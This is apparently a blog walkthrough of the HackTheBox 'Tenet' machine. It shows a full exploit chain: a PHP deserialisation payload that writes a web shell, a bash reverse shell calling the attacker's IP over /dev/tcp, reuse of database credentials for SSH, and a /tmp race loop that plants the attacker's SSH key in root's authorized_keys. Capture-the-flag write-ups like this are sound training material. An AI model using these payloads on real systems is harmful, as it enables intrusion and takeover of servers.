10 minute read

Machine Information


Tenet is rated as a medium machine on HackTheBox. Our initial scan finds a WordPress site with a suspicious post that leads us to a method to achieve remote code execution. We use this to gain an initial shell, and from there we find ssh credentials. Escalating to root requires us to take advantage of a bash script that puts our own rsa key in to known hosts on the box.

Skills required are basic port enumeration and OS exploration knowledge. Skills learned are serialise and deserialisation techniques used to develop exploits.

Hosting Site HackTheBox
Link To Machine HTB - Medium - Tenet
Machine Release Date 16th Jan 2021
Date I Completed It 11th June 2021
Distribution Used Kali 2021.1 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─# nmap -p$ports -sC -sV -oA tenet
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 15:51 BST
Nmap scan report for
Host is up (0.028s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds

Just two open ports, let’s look at port 80 first:


An Apache default install page, let’s add the IP to our hosts file and see if the server is using virtual hosts:

└─# echo tenet.htb >> /etc/hosts


Now let’s browse to the name instead of the IP:


It’s a WordPress site. Looking around there are a few articles, but nothing very interesting. At the bottom it shows us there is a user neil who has made a comment:


Let’s see what he had to say:


Hmm. A clue, but I don’t know what sator is. Let’s try adding that as a subdomain:

└─# sed -i '/ tenet.htb/ s/$/ sator.tenet.htb/' /etc/hosts

And now browse to it, to see if there is another virtual host:


There is, but it’s another default page. Going back to the comment he mentions a php file, which I eventually find:


After more looking around, I reread the comment and realise he mentions a backup. Using Curl I find he’s made a backup of the sator.php file:

└─# wget http://sator.tenet.htb/sator.php.bak                                                                              
--2021-05-20 16:03:55--  http://sator.tenet.htb/sator.php.bak
Resolving sator.tenet.htb (sator.tenet.htb)...
Connecting to sator.tenet.htb (sator.tenet.htb)||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 514 [application/x-trash]
Saving to: ‘sator.php.bak’
sator.php.bak      100%[==============================>]     514  --.-KB/s    in 0s      
2021-05-20 16:03:55 (69.9 MB/s) - ‘sator.php.bak’ saved [514/514]

Let’s have a look at the contents:

└─# more sator.php.bak       
class DatabaseExport
        public $user_file = 'users.txt';
        public $data = '';
        public function update_db()
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        public function __destruct()
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();

We can see there is a GET statement which uses the input variable arepo, where it deserialises what is passed to it. This is then written to the file defined in the variable user_file.

First let’s test to see if we can get the users.txt file:

└─# wget http://sator.tenet.htb/users.txt    
--2021-05-20 16:05:17--  http://sator.tenet.htb/users.txt
Resolving sator.tenet.htb (sator.tenet.htb)...
Connecting to sator.tenet.htb (sator.tenet.htb)||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7 [text/plain]
Saving to: ‘users.txt’
users.txt        100%[===========================>]       7  --.-KB/s    in 0s      
2021-05-20 16:05:17 (1.76 MB/s) - ‘users.txt’ saved [7/7]
└─# cat users.txt 

We can and it shows the contents is what was in the php file.

Reverse Shell

We can abuse this to get remote code execution by writing a php reverse shell, and then using the serialize function to encode it. Then when we pass to sator.php it will deserialize it and write the file to disk on the server.

Let’s start php in interactive mode so we can write our code:

└─# php -a           
Interactive mode enabled
php >

Now we create our own class the same as in the sator.php file but with a reverse shell in it:

php > class DatabaseExport {
php {   public $user_file = 'pencer_shell.php';
php {   public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/ 0>&1\'"); ?>';
php {   }
php >

Next we need to serialize it:

php > print urlencode(serialize(new DatabaseExport));

We can now use that encoded string as the input for the variable arepo we saw in the source code:

└─# curl -i http://sator.tenet.htb/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A16%3A%22pencer_shell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.40%2F1337+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
HTTP/1.1 200 OK
Date: Thu, 20 May 2021 16:08:48 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 87
Content-Type: text/html; charset=UTF-8
[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>

Finally we can use Curl to get the shell we dropped:

└─# curl http://sator.tenet.htb/pencer_shell.php

Switch to a waiting netcat listener and we are connected:

└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 15500
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ok, so we are connected as the web user. Let’s upgrade to a better shell:

which python3
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@tenet:/var/www/html$ ^Z
zsh: suspended  nc -nlvp 1337
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 1337
www-data@tenet:/var/www/html$ stty rows 61 cols 237
www-data@tenet:/var/www/html$ export TERM=xterm

Much more usable. Let’s see what we have:

www-data@tenet:/var/www/html$ ls -lsa
total 44
 4 drwxr-xr-x 3 www-data www-data  4096 May 20 15:17 .
 4 drwxr-xr-x 3 root     root      4096 Dec 16 11:26 ..
12 -rw-r--r-- 1 www-data www-data 10918 Dec 16 11:19 index.html
 4 -rw-r--r-- 1 www-data www-data    73 May 20 15:17 pencer_shell.php
 4 -rwxr-xr-x 1 www-data www-data   514 Dec 17 09:40 sator.php
 4 -rwxr-xr-x 1 www-data www-data   514 Dec 17 09:52 sator.php.bak
 4 -rw-r--r-- 1 www-data www-data     7 May 20 15:17 users.txt
 4 drwxr-xr-x 5 www-data www-data  4096 May 20 12:17 wordpress

We see the wordpress installation folder, let’s look in the config file:

www-data@tenet:/var/www/html$ cat wordpress/wp-config.php | grep -B 5 -A 5 pass
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', '<HIDDEN>' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

User Flag

We’ve got neil’s password for the database. I wonder if he’s reused the same one for ssh access:

└─# ssh neil@tenet.htb       
The authenticity of host 'tenet.htb (' can't be established.
ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'tenet.htb,' (ECDSA) to the list of known hosts.
neil@tenet.htb's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Thu May 20 15:28:38 UTC 2021
  System load:  0.22               Processes:             293
  Usage of /:   16.9% of 22.51GB   Users logged in:       2
  Memory usage: 34%                IP address for ens160:
  Swap usage:   0%
Last login: Thu May 20 14:33:28 2021 from

He did! What can we see here:

neil@tenet:~$ ls -lsa
total 40
4 drwxr-xr-x 6 neil neil 4096 May 20 14:07 .
4 drwxr-xr-x 3 root root 4096 Dec 17 09:33 ..
0 lrwxrwxrwx 1 neil neil    9 Dec 17 10:53 .bash_history -> /dev/null
4 -rw-r--r-- 1 neil neil  220 Dec 16 15:00 .bash_logout
4 -rw-r--r-- 1 neil neil 3771 Dec 16 15:00 .bashrc
4 drwx------ 2 neil neil 4096 Dec 17 10:51 .cache
4 drwxr-x--- 3 neil neil 4096 May 20 14:07 .config
4 drwx------ 4 neil neil 4096 May 20 14:08 .gnupg
4 drwxrwxr-x 3 neil neil 4096 Dec 17 10:52 .local
4 -rw-r--r-- 1 neil neil  807 Dec 16 15:00 .profile
4 -r-------- 1 neil neil   33 May 20 05:05 user.txt

As expected the user flag is there, let’s grab it:

neil@tenet:~$ cat user.txt

Before doing enumeration or using something like LinPEAS I usually look for SUID binaries and sudo permissions. Turned out sudo was the right path here:

neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Neil can run a suspicious sounding file as root. Let’s check it out:

neil@tenet:~$ cat /usr/local/bin/enableSSH.sh 
checkAdded() {
        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
                /bin/echo "Successfully added $sshName to authorized_keys file!"
                /bin/echo "Error in adding $sshName to authorized_keys file!"

checkFile() {
        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
                /bin/echo "Error in creating key file!"
                if [[ -f $1 ]]; then /bin/rm $1; fi
                exit 1

addKey() {
        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
        (umask 110; touch $tmpName)
        /bin/echo $key >>$tmpName
        checkFile $tmpName
        /bin/cat $tmpName >>/root/.ssh/authorized_keys
        /bin/rm $tmpName

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

This looks like the intended path. The script is writing the root users rsa key to a file in /tmp with a random name starting with “ssh-“. It then copies that to root authorized_keys file, which allows you to login via ssh as root with the matching private key. After that it deletes the randomly named file.

Privilege Escalation

Let’s generate a new rsa key on Kali:

└─# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/htb/tenet/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/htb/tenet/id_rsa
Your public key has been saved in /root/htb/tenet/id_rsa.pub
The key fingerprint is:
SHA256:lt2cQkMPM0ZxuOH/ZiYHzNTwH9tgsYPmtfFHX9+aWtU root@kali
The key's randomart image is:
+---[RSA 3072]----+
|         .Oo.    |
|         oo*. .  |
|         .oo.= o |
|         +o++.X.+|
|        S oB+o OE|
|       .   .* .oO|
|             o.o.|
|            ..O  |
|            .B   |

Cat the key and copy to clipboard:

└─# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm0sP8Ub54/DF6XVjCHc861aaqpXOPrmuuoVz/hB5bTF5KUITPeNFx+wumVpUOoMK9r/ZkaJpGnpji7TGm77xng0GtXW58PW/dK8Y2krKqjdJIBEVJHAzTTVu0M4b0tlS09udx5B3NibuVq/oPZJlgCbiaR/SlDOszQnB1ZLki/cFketLhNHeJjTpQZE/bWgtepRYR2aiKtTXOye9B8BolOxHKolkVoV/0rs0VuTgixz3CeOnWpENt+fBvY6ZX4jJWXcsdkebxigSobTpecS/ycOiSB9oqvihDOx3cv6HPg4rQIXVnLV3/tY9CUAKlWR7UXuZw7Jy217LGfJbE6FOPQR5erKU8COluEVV3601DkHpo1wLp84+gjadoubD9lyg1xtnVya5+Smrcm3m0cCDoRdnSHAQLw0w31XyxdZO4v8HVKrkTifSh9eN464HDZxrAgZNV38JIzA2NVO0Wn4cDfJOj5jWhZxDhPD8UjXryv/IPa5J8asA8CbCeVM9dgw0= root@kali

Now all we need to do is have two sessions open to the box both as neil. The first one we are going to use bash to create a loop, where it keeps writing our key to any file in /tmp/ssh. It will do this forever, so we can just leave it running:

neil@tenet:~$ while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm0sP8Ub54/DF6XVjCHc861aaqpXOPrmuuoVz/hB5bTF5KUITPeNFx+wumVpUOoMK9r/ZkaJpGnpji7TGm77xng0GtXW58PW/dK8Y2krKqjdJIBEVJHAzTTVu0M4b0tlS09udx5B3NibuVq/oPZJlgCbiaR/SlDOszQnB1ZLki/cFketLhNHeJjTpQZE/bWgtepRYR2aiKtTXOye9B8BolOxHKolkVoV/0rs0VuTgixz3CeOnWpENt+fBvY6ZX4jJWXcsdkebxigSobTpecS/ycOiSB9oqvihDOx3cv6HPg4rQIXVnLV3/tY9CUAKlWR7UXuZw7Jy217LGfJbE6FOPQR5erKU8COluEVV3601DkHpo1wLp84+gjadoubD9lyg1xtnVya5+Smrcm3m0cCDoRdnSHAQLw0w31XyxdZO4v8HVKrkTifSh9eN464HDZxrAgZNV38JIzA2NVO0Wn4cDfJOj5jWhZxDhPD8UjXryv/IPa5J8asA8CbCeVM9dgw0= root@kali" | tee /tmp/ssh* > /dev/null; done

So the loop is putting our key in to any file that exists in the tmp folder. In our second ssh session we have open as neil we just need to keep running the script as root:

neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!

You may need to do it several times to catch it just right, but when you do the public rsa key we generated on our Kali machine is copied in to the known hosts for root on the tenet box.

Root Flag

Once that’s happened we can log in as root using our private rsa key:

└─# ssh root@tenet.htb -i id_rsa                                      
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 System information disabled due to load higher than 2.0
Last login: Thu May 20 14:37:21 2021 from

Now all that’s left to do is grab the root flag:

root@tenet:~# ls -la
total 44
drwx------  6 root root 4096 Feb 11 14:38 .
drwxr-xr-x 23 root root 4096 Jan  7 09:58 ..
lrwxrwxrwx  1 root root    9 Dec  9 12:35 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Dec  8 11:10 .cache
drwx------  3 root root 4096 Dec  8 11:10 .gnupg
-rw-------  1 root root   41 Jan  7 10:15 .lesshst
drwxr-xr-x  3 root root 4096 Dec  8 09:23 .local
-r--------  1 root root   33 May 20 05:05 root.txt
-rw-r--r--  1 root root   66 Dec  8 10:27 .selected_editor
drwx------  2 root root 4096 May 20 15:39 .ssh
-rw-------  1 root root 1929 Feb 11 14:38 .viminfo

root@tenet:~# cat root.txt